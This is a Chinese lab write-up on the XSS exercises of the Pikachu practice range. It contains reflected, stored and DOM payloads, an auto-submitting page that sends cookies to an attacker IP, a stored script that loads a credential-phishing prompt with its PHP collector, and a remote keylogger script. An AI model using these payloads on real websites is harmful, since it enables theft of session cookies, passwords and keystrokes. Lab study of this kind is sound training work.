pikachu靶场-XSS

pikachu靶场-XSS

1.反射型xss

  • 测试

    输入<>'"xxxx  //测试关键字是否有过滤
    
    #网页源代码
    <p class="xssr_title">Which NBA player do you like?</p>
    <form method="get">
          <input class="xssr_in" type="text" maxlength="20" name="message" />
          <input class="xssr_submit" type="submit" name="submit" value="submit" />
    </form>
    <p class='notice'>who is '"<>xxxxxx,i don't care!</p> </div>
    根据网页源代码可以看到输入的字符未经过过滤直接输出到页面
    
    # payload
    <script>alert(1111)</script>
    

    在这里插入图片描述

  • 后台源代码

    if(isset($_GET['submit'])){
        if(empty($_GET['message'])){
            $html.="<p class='notice'>输入'kobe'试试-_-</p>";
        }else{
            if($_GET['message']=='kobe'){
                $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
            }else{
                $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
            }
        }
    }
    

2.存储型xss

  • 测试

    # 输入 <>'"?&ffffffff
    
    # 网页源代码
    <p class="line">留言列表:</p>
    <p class='con'><>'"?&ffffffff</p><a href='xss_stored.php?id=74'>删除</a><p class='con'><>'"?&ffffffff</p><a href='xss_stored.php?id=75'>删除</a>
    根据网页源代码查看存储型xss还是未做过滤。
    
    # payload
    <script>alert(cunchuxss)</script>
    

    在这里插入图片描述

  • 后台源代码

    <?php echo $html;
       $query="select * from message";
       $result=execute($link, $query);
       while($data=mysqli_fetch_assoc($result)){
           echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
       }
       echo $html;
    ?>
    # 存储型直接在数据库中将攻击者插入的语句查询了处理,并输出到页面中。
    

3.DOM型xss

  • 测试

    # 查看网页源代码
    <script>
    function domxss(){
             var str = document.getElementById("text").value;
             document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
     </script>
    这里需要输入一个连接,通过点击触发这段javascript代码,然后需要闭合' 
    
    # payload
    ' οnclick="alert(1111)">
    

    在这里插入图片描述

  • DOM型xss-x

    # 查看网页源代码
    <script>
          function domxss(){
          var str = window.location.search;   //获取浏览器的参数
          var txss = decodeURIComponent(str.split("text=")[1]);
          var xss = txss.replace(/\+/g,' ');
    //    alert(xss);
          document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
           }
    </script>
    
    # payload
    ' οnclick="alert(1111)">
    可以将形成的url发送其他用户,用户点击后也会同样的执行恶意代码
    

4.获取用户cookie

  • 编写恶意网页

    # 攻击者在自己的网站下编写接受cookie 的网页代码
    <html>
    <head>
    <script>
    window.onload=function(){
    	document.getElementById("postsubmit").click();
    }
    </script>
    </head>
    <body>
    <form method="post" action="http://192.168.254.201/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    	<input id="xssr_in" type="text" name="message" value=
    "<script>document.location = 'http://192.168.254.182/pkxss/xcookie/cookie.php?cookie='+document.cookie;
    </script>"/>
    	<input id="postsubmit" type="submit" name="submit"  value="submit" />
    </form>
    </body>
    </html>
    
    这里的逻辑是向192.168.254.201提交post表单,并且提交的value中携带javascript代码,会向攻击者的网站发送用户的cookie信息。
    注意:被攻击的网站http-only为false,不然不会接收到cookie
    
  • 用户输入账户和密码

    在这里插入图片描述

  • 用户执行恶意连接http://192.168.254.182/post.html

    在这里插入图片描述

5.钓鱼攻击

  • payload

    # 使用存储型XSS构造payload
    <script src="http://192.168.254.182/pkxss/xfish/fish.php"></script>
    此payload会链接到攻击者构造的页面,结果是弹出用户名和密码的弹框诱导用户输入
    
  • 用户访问插入恶意代码的网页

    在这里插入图片描述

  • 攻击者查看获取到的用户名和密码

    在这里插入图片描述

  • 攻击者后台源代码

    <?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
    //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        header("Location: http://192.168.254.182/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
        &password={$_SERVER[PHP_AUTH_PW]}");
    }
    ?>
    

6.获取键盘记录

  • payload

    # 使用存储型XSS构造payload
    <script src="http://192.168.254.182/pkxss/rkeypress/rk.js"></script>
    
  • 用户访问带有恶意代码的网页,并随意敲击键盘

    在这里插入图片描述

7.href输出

  • 后台源代码

    if(isset($_GET['submit'])){
        if(empty($_GET['message'])){
            $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
        }
        if($_GET['message'] == 'www.baidu.com'){
            $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
        }else {
            //输出在a标签的href属性里面,可以使用javascript协议来执行js
            //防御:只允许http,https,其次在进行htmlspecialchars处理
            $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
            $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
        }
    }
    网站对用户输入使用了htmlspecialchars进行了实体化处理
    
  • payload

    javascript:alert(111111)
    
  • 结果

    在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值